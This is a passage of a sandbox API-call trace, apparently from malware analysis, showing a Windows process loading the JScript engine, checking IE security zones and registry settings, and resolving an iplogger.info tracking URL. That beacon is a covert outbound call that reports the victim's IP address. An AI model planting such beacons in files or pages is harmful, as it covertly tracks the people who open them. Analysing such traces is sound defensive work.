dwFlags=0x0, lpMem=0x551fa8 | out: hHeap=0x510000) returned 1 [0041.929] IsCharAlphaNumericW (ch=0x3a) returned 0 [0041.929] IsCharSpaceW (wch=0x3a) returned 0 [0041.929] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1c) returned 0x53fef0 [0041.929] IsCharAlphaNumericW (ch=0x3a) returned 0 [0041.929] IsCharSpaceW (wch=0x75) returned 0 [0041.929] IsCharAlphaNumericW (ch=0x28) returned 0 [0041.929] IsCharSpaceW (wch=0x28) returned 0 [0041.929] IsCharAlphaNumericW (ch=0x28) returned 0 [0041.929] IsCharSpaceW (wch=0x23) returned 0 [0041.929] IsCharSpaceW (wch=0x23) returned 0 [0041.930] IsCharSpaceW (wch=0x7d) returned 0 [0041.930] IsCharAlphaNumericW (ch=0x7d) returned 0 [0041.930] IsCharSpaceW (wch=0x29) returned 0 [0041.930] IsCharSpaceW (wch=0x75) returned 0 [0041.930] IsCharSpaceW (wch=0x75) returned 0 [0041.930] IsCharSpaceW (wch=0x29) returned 0 [0041.930] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x14) returned 0x533648 [0041.930] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x34) returned 0x54fc90 [0041.930] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x5241c0 [0041.930] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x54ca38 [0041.930] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x54ca20 [0041.930] CoTaskMemFree (pv=0x55a250) [0041.930] CoTaskMemFree (pv=0x574ca8) [0041.930] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x14) returned 0x5336a8 [0041.930] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55f530 | out: hHeap=0x510000) returned 1 [0041.930] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x53b968 | out: hHeap=0x510000) returned 1 [0041.930] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.930] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x552000 | out: hHeap=0x510000) returned 1 [0041.931] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52d140 | out: hHeap=0x510000) returned 1 [0041.931] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.931] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5555f0 | out: hHeap=0x510000) returned 1 [0041.931] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x524298 | out: hHeap=0x510000) returned 1 [0041.931] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.931] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5336e8 | out: hHeap=0x510000) returned 1 [0041.931] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52d830 | out: hHeap=0x510000) returned 1 [0041.931] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x565c70 | out: hHeap=0x510000) returned 1 [0041.931] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.931] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x569c40 | out: hHeap=0x510000) returned 1 [0041.931] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.931] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x569c60 | out: hHeap=0x510000) returned 1 [0041.931] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.931] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x569c80 | out: hHeap=0x510000) returned 1 [0041.932] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.932] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x569ca0 | out: hHeap=0x510000) returned 1 [0041.932] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.932] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x569cc0 | out: hHeap=0x510000) returned 1 [0041.932] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.932] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x569ce0 | out: hHeap=0x510000) returned 1 [0041.932] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.932] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x569d00 | out: hHeap=0x510000) returned 1 [0041.932] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.932] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x569d20 | out: hHeap=0x510000) returned 1 [0041.932] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.932] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x569d40 | out: hHeap=0x510000) returned 1 [0041.932] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.932] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x569d60 | out: hHeap=0x510000) returned 1 [0041.932] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.932] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x569d80 | out: hHeap=0x510000) returned 1 [0041.932] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.932] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x569da0 | out: hHeap=0x510000) returned 1 [0041.932] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x574918 | out: hHeap=0x510000) returned 1 [0041.932] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52d8d8 | out: hHeap=0x510000) returned 1 [0041.932] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.932] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x53c910 | out: hHeap=0x510000) returned 1 [0041.932] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x2) returned 0x55f530 [0041.932] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x553e20 | out: hHeap=0x510000) returned 1 [0041.932] GetProcAddress (hModule=0x769d0000, lpProcName=0x11) returned 0x769ee1b6 [0041.932] SafeArrayGetDim (psa=0x555660) returned 0x1 [0041.933] GetCurrentThreadId () returned 0x86c [0041.933] GetCurrentThreadId () returned 0x86c [0041.933] GetCurrentThreadId () returned 0x86c [0041.933] CoCreateInstance (in: rclsid=0x30ee1c*(Data1=0xf414c260, Data2=0x6ac0, Data3=0x11cf, Data4=([0]=0xb6, [1]=0xd1, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbb, [6]=0xbb, [7]=0x58)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x72d795b4*(Data1=0xbb1a2ae1, Data2=0xa4f9, Data3=0x11cf, Data4=([0]=0x8f, [1]=0x20, [2]=0x0, [3]=0x80, [4]=0x5f, [5]=0x2c, [6]=0xd0, [7]=0x64)), ppv=0x30edd8 | out: ppv=0x30edd8*=0x2941b00) returned 0x0 [0041.933] DllGetClassObject (in: rclsid=0x541a98*(Data1=0xf414c260, Data2=0x6ac0, Data3=0x11cf, Data4=([0]=0xb6, [1]=0xd1, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbb, [6]=0xbb, [7]=0x58)), riid=0x7630ee84*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x30ec3c | out: ppv=0x30ec3c*=0x2941ac0) returned 0x0 [0041.933] ??2@YAPAXI@Z () returned 0x2941ac0 [0041.933] JScriptEngine5:IClassFactory:CreateInstance (in: This=0x2941ac0, pUnkOuter=0x0, riid=0x72d795b4*(Data1=0xbb1a2ae1, Data2=0xa4f9, Data3=0x11cf, Data4=([0]=0x8f, [1]=0x20, [2]=0x0, [3]=0x80, [4]=0x5f, [5]=0x2c, [6]=0xd0, [7]=0x64)), ppvObject=0x30ebe8 | out: ppvObject=0x30ebe8*=0x2941b00) returned 0x0 [0041.933] ??2@YAPAXI@Z () returned 0x2941b00 [0041.933] GetUserDefaultLCID () returned 0x409 [0041.933] GetACP () returned 0x4e4 [0041.933] JScriptEngine5:IUnknown:Release (This=0x2941ac0) returned 0x0 [0041.933] ??3@YAXPAX@Z () returned 0x1 [0041.933] IUnknown:AddRef (This=0x53c40c) returned 0x4 [0041.933] IInternetSecurityManager:MapUrlToZone (in: This=0x731596bc, pwszUrl="javascript:document.write('');", pdwZone=0x30ecec, dwFlags=0x0 | out: pdwZone=0x30ecec*=0xffffffff) returned 0x800c0011 [0041.933] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1 [0041.933] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1 [0041.933] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1 [0041.934] IInternetSecurityManager:ProcessUrlAction (in: This=0x731596bc, pwszUrl="javascript:document.write('');", dwAction=0x1401, pPolicy=0x30ecf0, cbPolicy=0x4, pContext=0x0, cbContext=0x0, dwFlags=0x40, dwReserved=0x0 | out: pPolicy=0x30ecf0*=0x0) returned 0x0 [0041.934] IUnknown:Release (This=0x53c40c) returned 0x3 [0041.934] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x54) returned 0x571ad8 [0041.934] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x565c70 [0041.934] GetCurrentThreadId () returned 0x86c [0041.934] ??2@YAPAXI@Z () returned 0x2942278 [0041.934] ??2@YAPAXI@Z () returned 0x2941d18 [0041.934] GetCurrentThreadId () returned 0x86c [0041.934] GetEnvironmentVariableW (in: lpName="JS_PROFILER", lpBuffer=0x30ebb8, nSize=0x27 | out: lpBuffer="") returned 0x0 [0041.934] GetCurrentThreadId () returned 0x86c [0041.934] IsValidLocale (Locale=0x409, dwFlags=0x1) returned 1 [0041.934] GetLocaleInfoA (in: Locale=0x409, LCType=0x1004, lpLCData=0x30ec28, cchData=6 | out: lpLCData="1252") returned 5 [0041.935] IsValidCodePage (CodePage=0x4e4) returned 1 [0041.935] GetCurrentThreadId () returned 0x86c [0041.935] GetCurrentThreadId () returned 0x86c [0041.935] CoCreateInstance (in: rclsid=0x73bf15ec*(Data1=0x6c736db1, Data2=0xbd94, Data3=0x11d0, Data4=([0]=0x8a, [1]=0x23, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xb5, [6]=0x8e, [7]=0x10)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x73bf15fc*(Data1=0x6c736dc1, Data2=0xab0d, Data3=0x11d0, Data4=([0]=0xa2, [1]=0xad, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xf, [6]=0x27, [7]=0xe8)), ppv=0x2941cec | out: ppv=0x2941cec*=0x524298) returned 0x0 [0041.935] IUnknown:AddRef (This=0x524298) returned 0x2 [0041.935] GetCurrentProcessId () returned 0x7b4 [0041.935] GetCurrentThreadId () returned 0x86c [0041.935] GetTickCount () returned 0x11540e7 [0041.935] ISystemDebugEventFire:BeginSession (This=0x524298, guidSourceID=0x73bf16d4, strSessionName="JScript:00001972:00002156:18170087") returned 0x0 [0041.935] GetCurrentThreadId () returned 0x86c [0041.935] GetCurrentThreadId () returned 0x86c [0041.935] ??2@YAPAXI@Z () returned 0x2941ac0 [0041.935] GetCurrentThreadId () returned 0x86c [0041.935] StrCmpICW (pszStr1="window", pszStr2="window") returned 0 [0041.935] CoGetObjectContext (in: riid=0x73bf0270*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x30eb84 | out: ppv=0x30eb84*=0x537288) returned 0x0 [0041.935] IUnknown:Release (This=0x537288) returned 0x1 [0041.935] ??2@YAPAXI@Z () returned 0x2941d80 [0041.936] malloc (_Size=0x40) returned 0x2941df0 [0041.936] malloc (_Size=0x104) returned 0x2941e38 [0041.936] ??2@YAPAXI@Z () returned 0x2941f48 [0041.936] CoGetObjectContext (in: riid=0x73bf0270*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x30eba0 | out: ppv=0x30eba0*=0x537288) returned 0x0 [0041.936] IUnknown:Release (This=0x537288) returned 0x1 [0041.936] CoGetObjectContext (in: riid=0x73bf0270*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x30eba0 | out: ppv=0x30eba0*=0x537288) returned 0x0 [0041.936] IUnknown:Release (This=0x537288) returned 0x1 [0041.936] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x574ca8 [0041.936] GetCurrentThreadId () returned 0x86c [0041.936] GetCurrentThreadId () returned 0x86c [0041.936] realloc (_Block=0x0, _Size=0xc8) returned 0x2942570 [0041.936] ??2@YAPAXI@Z () returned 0x2942640 [0041.936] malloc (_Size=0x804) returned 0x2942668 [0041.936] ??2@YAPAXI@Z () returned 0x2942e78 [0041.936] malloc (_Size=0x104) returned 0x2942fe8 [0041.937] ??3@YAXPAX@Z () returned 0x1 [0041.937] malloc (_Size=0xd0) returned 0x2942e78 [0041.937] ??2@YAPAXI@Z () returned 0x2941f68 [0041.937] free (_Block=0x2942668) [0041.937] ??3@YAXPAX@Z () returned 0x1 [0041.937] free (_Block=0x2942fe8) [0041.937] ??2@YAPAXI@Z () returned 0x2942640 [0041.937] ??2@YAPAXI@Z () returned 0x2942678 [0041.937] malloc (_Size=0xc) returned 0x2942698 [0041.938] ??2@YAPAXI@Z () returned 0x29426b0 [0041.938] CoGetObjectContext (in: riid=0x73bf0270*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x30ecc0 | out: ppv=0x30ecc0*=0x537288) returned 0x0 [0041.938] IUnknown:Release (This=0x537288) returned 0x1 [0041.938] ??2@YAPAXI@Z () returned 0x29426f8 [0041.938] CoGetObjectContext (in: riid=0x73bf0270*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x30ed10 | out: ppv=0x30ed10*=0x537288) returned 0x0 [0041.938] IUnknown:Release (This=0x537288) returned 0x1 [0041.938] ??2@YAPAXI@Z () returned 0x2942768 [0041.938] ISystemDebugEventFire:IsActive (This=0x524298) returned 0x1 [0041.938] CoGetObjectContext (in: riid=0x73bf0270*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x30ed0c | out: ppv=0x30ed0c*=0x537288) returned 0x0 [0041.938] IUnknown:Release (This=0x537288) returned 0x1 [0041.938] GetCurrentThreadId () returned 0x86c [0041.938] GetCurrentThreadId () returned 0x86c [0041.939] ISystemDebugEventFire:IsActive (This=0x524298) returned 0x1 [0041.939] free (_Block=0x2942570) [0041.939] GetCurrentThreadId () returned 0x86c [0041.939] GetCurrentThreadId () returned 0x86c [0041.939] GetCurrentThreadId () returned 0x86c [0041.939] GetCurrentThreadId () returned 0x86c [0041.939] GetCurrentThreadId () returned 0x86c [0041.939] GetCurrentThreadId () returned 0x86c [0041.939] ParseURLW (in: pcszURL="javascript:document.write('');", ppu=0x30ed14 | out: ppu=0x30ed14) returned 0x0 [0041.939] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x110) returned 0x553e20 [0041.939] CreateUri (in: pwzURI="javascript:document.write('');", dwFlags=0x2b84, dwReserved=0x0, ppURI=0x30ef9c | out: ppURI=0x30ef9c*=0x53c40c) returned 0x0 [0041.939] IUnknown:Release (This=0x53c40c) returned 0x3 [0041.939] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x553e20 | out: hHeap=0x510000) returned 1 [0041.939] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x30ef20 | out: phkResult=0x30ef20*=0x260) returned 0x0 [0041.939] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x30ef24 | out: phkResult=0x30ef24*=0x25c) returned 0x0 [0041.939] RegOpenKeyExW (in: hKey=0x25c, lpSubKey="FEATURE_ACTIVEX_INACTIVATE_MODE_REMOVAL_REVERT", ulOptions=0x0, samDesired=0x1, phkResult=0x30eee0 | out: phkResult=0x30eee0*=0x0) returned 0x2 [0041.939] RegOpenKeyExW (in: hKey=0x260, lpSubKey="FEATURE_ACTIVEX_INACTIVATE_MODE_REMOVAL_REVERT", ulOptions=0x0, samDesired=0x1, phkResult=0x30eee0 | out: phkResult=0x30eee0*=0x0) returned 0x2 [0041.940] RegCloseKey (hKey=0x0) returned 0x6 [0041.940] RegCloseKey (hKey=0x0) returned 0x6 [0041.940] RegCloseKey (hKey=0x260) returned 0x0 [0041.940] RegCloseKey (hKey=0x25c) returned 0x0 [0041.940] GetProcAddress (hModule=0x769d0000, lpProcName=0x19) returned 0x769eea56 [0041.940] SafeArrayGetElement (in: psa=0x555660, rgIndices=0x30efd8, pv=0x30efe8 | out: pv=0x30efe8) returned 0x0 [0041.940] GetCurrentThreadId () returned 0x86c [0041.940] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x55f530, Size=0xcc) returned 0x53dc78 [0041.940] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x574cc0 [0041.940] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x574cd8 [0041.941] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x55f520, Size=0xd0) returned 0x53dd50 [0041.941] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x108) returned 0x554fd0 [0041.941] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x12) returned 0x569da0 [0041.941] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x569da0 | out: hHeap=0x510000) returned 1 [0041.941] ParseURLW (in: pcszURL="javascript:document.write('');", ppu=0x30ec28 | out: ppu=0x30ec28) returned 0x0 [0041.941] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.941] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.941] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.941] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x28) returned 0x5555f0 [0041.941] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x4c) returned 0x552000 [0041.941] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x574cf0 [0041.941] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x28) returned 0x5556e0 [0041.941] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x30) returned 0x52d8d8 [0041.942] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5550e0 | out: hHeap=0x510000) returned 1 [0041.942] GetSystemDefaultLCID () returned 0x409 [0041.942] GetVersionExW (in: lpVersionInformation=0x30eb50*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x30ebe4, dwMinorVersion=0x30ebe4, dwBuildNumber=0x2940ed0, dwPlatformId=0x510000, szCSDVersion="僘U") | out: lpVersionInformation=0x30eb50*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0041.942] GetKeyboardLayoutList (in: nBuff=32, lpList=0x30ead0 | out: lpList=0x30ead0) returned 1 [0041.942] GetSystemMetrics (nIndex=4096) returned 0 [0041.942] RegisterClipboardFormatA (lpszFormat="HTML Format") returned 0xc0d4 [0041.942] RegisterClipboardFormatA (lpszFormat="Rich Text Format") returned 0xc0b9 [0041.942] RegisterClipboardFormatA (lpszFormat="RTF As Text") returned 0xc0bc [0041.942] RegisterClipboardFormatW (lpszFormat="FileGroupDescriptor") returned 0xc0cf [0041.942] RegisterClipboardFormatW (lpszFormat="FileGroupDescriptorW") returned 0xc0d0 [0041.942] RegisterClipboardFormatW (lpszFormat="FileContents") returned 0xc0ce [0041.942] RegisterClipboardFormatW (lpszFormat="Shell IDList Array") returned 0xc07a [0041.942] RegisterClipboardFormatW (lpszFormat="UniformResourceLocator") returned 0xc0d8 [0041.942] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x2c) returned 0x52d830 [0041.942] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x38) returned 0x54fcd0 [0041.942] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x560a78 [0041.942] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55db48 | out: hHeap=0x510000) returned 1 [0041.942] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x4c) returned 0x552630 [0041.942] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x574cf0, Size=0x18) returned 0x569d80 [0041.942] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x68) returned 0x55a250 [0041.942] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x56) returned 0x571b38 [0041.943] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.943] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x552738 [0041.943] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x552738 | out: hHeap=0x510000) returned 1 [0041.943] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.943] IUnknown:AddRef (This=0x53c40c) returned 0x4 [0041.943] IInternetSecurityManager:MapUrlToZone (in: This=0x731596bc, pwszUrl="javascript:document.write('');", pdwZone=0x30ebe4, dwFlags=0x0 | out: pdwZone=0x30ebe4*=0xffffffff) returned 0x800c0011 [0041.943] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1 [0041.943] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1 [0041.943] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1 [0041.943] IInternetSecurityManager:ProcessUrlAction (in: This=0x731596bc, pwszUrl="javascript:document.write('');", dwAction=0x2106, pPolicy=0x30ebe8, cbPolicy=0x4, pContext=0x0, cbContext=0x0, dwFlags=0x41, dwReserved=0x0 | out: pPolicy=0x30ebe8*=0x0) returned 0x0 [0041.943] IUnknown:Release (This=0x53c40c) returned 0x3 [0041.943] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x552738 [0041.943] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x552738 | out: hHeap=0x510000) returned 1 [0041.943] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.943] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x552738 [0041.943] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x552738 | out: hHeap=0x510000) returned 1 [0041.943] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.943] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x552738 [0041.943] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x552738 | out: hHeap=0x510000) returned 1 [0041.943] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.943] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x100) returned 0x551d80 [0041.944] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.944] RedrawWindow (hWnd=0x90132, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0xa1) returned 1 [0041.945] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x552738 [0041.945] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x552738 | out: hHeap=0x510000) returned 1 [0041.945] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.945] ParseURLW (in: pcszURL="http://iplogger.info/1v6v97.jpeg", ppu=0x30ccc8 | out: ppu=0x30ccc8) returned 0x0 [0041.945] CreateUri (in: pwzURI="http://iplogger.info/1v6v97.jpeg", dwFlags=0x2b85, dwReserved=0x0, ppURI=0x30ccc8 | out: ppURI=0x30ccc8*=0x53de34) returned 0x0 [0041.949] ParseURLW (in: pcszURL="javascript:document.write('');", ppu=0x30cb58 | out: ppu=0x30cb58) returned 0x0 [0041.949] CreateUri (in: pwzURI="javascript:document.write('');", dwFlags=0x2b85, dwReserved=0x0, ppURI=0x30cc14 | out: ppURI=0x30cc14*=0x53c40c) returned 0x0 [0041.949] IUnknown:QueryInterface (in: This=0x53c40c, riid=0x72ddd6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x30cbdc | out: ppvObject=0x30cbdc*=0x53c40c) returned 0x0 [0041.949] IUnknown:Release (This=0x53c40c) returned 0x4 [0041.949] IUnknown:AddRef (This=0x53c40c) returned 0x5 [0041.950] CoInternetCombineIUri (in: pBaseUri=0x53c40c, pRelativeUri=0x53de34, dwCombineFlags=0x6000000, ppCombinedUri=0x30cc48, dwReserved=0x0 | out: ppCombinedUri=0x30cc48*=0x53de34) returned 0x0 [0041.952] DllGetClassObject (in: rclsid=0x541994*(Data1=0x3050f3b2, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x75054430*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x30b9d4 | out: ppv=0x30b9d4*=0x73158d20) returned 0x0 [0041.952] IUnknown:QueryInterface (in: This=0x73158d20, riid=0x7507aadc*(Data1=0x79eac9ec, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x30bac0 | out: ppvObject=0x30bac0*=0x73158d2c) returned 0x0 [0041.952] IUnknown:Release (This=0x73158d20) returned 0x1 [0041.952] IUnknown:Release (This=0x73158d2c) returned 0x1 [0041.952] IUnknown:Release (This=0x53c40c) returned 0x5 [0041.952] IUnknown:Release (This=0x53c40c) returned 0x4 [0041.952] IUnknown:QueryInterface (in: This=0x53de34, riid=0x72ddd6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x30cb9c | out: ppvObject=0x30cb9c*=0x53de34) returned 0x0 [0041.953] IUnknown:Release (This=0x53de34) returned 0x5 [0041.953] IUnknown:AddRef (This=0x53de34) returned 0x6 [0041.953] IUri:GetAbsoluteUri (in: This=0x53de34, pbstrAbsoluteUri=0x30cb90 | out: pbstrAbsoluteUri=0x30cb90*="http://iplogger.info/1v6v97.jpeg") returned 0x0 [0041.953] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0xf4) returned 0x56ae18 [0041.953] IUnknown:AddRef (This=0x53de34) returned 0x7 [0041.953] IUnknown:QueryInterface (in: 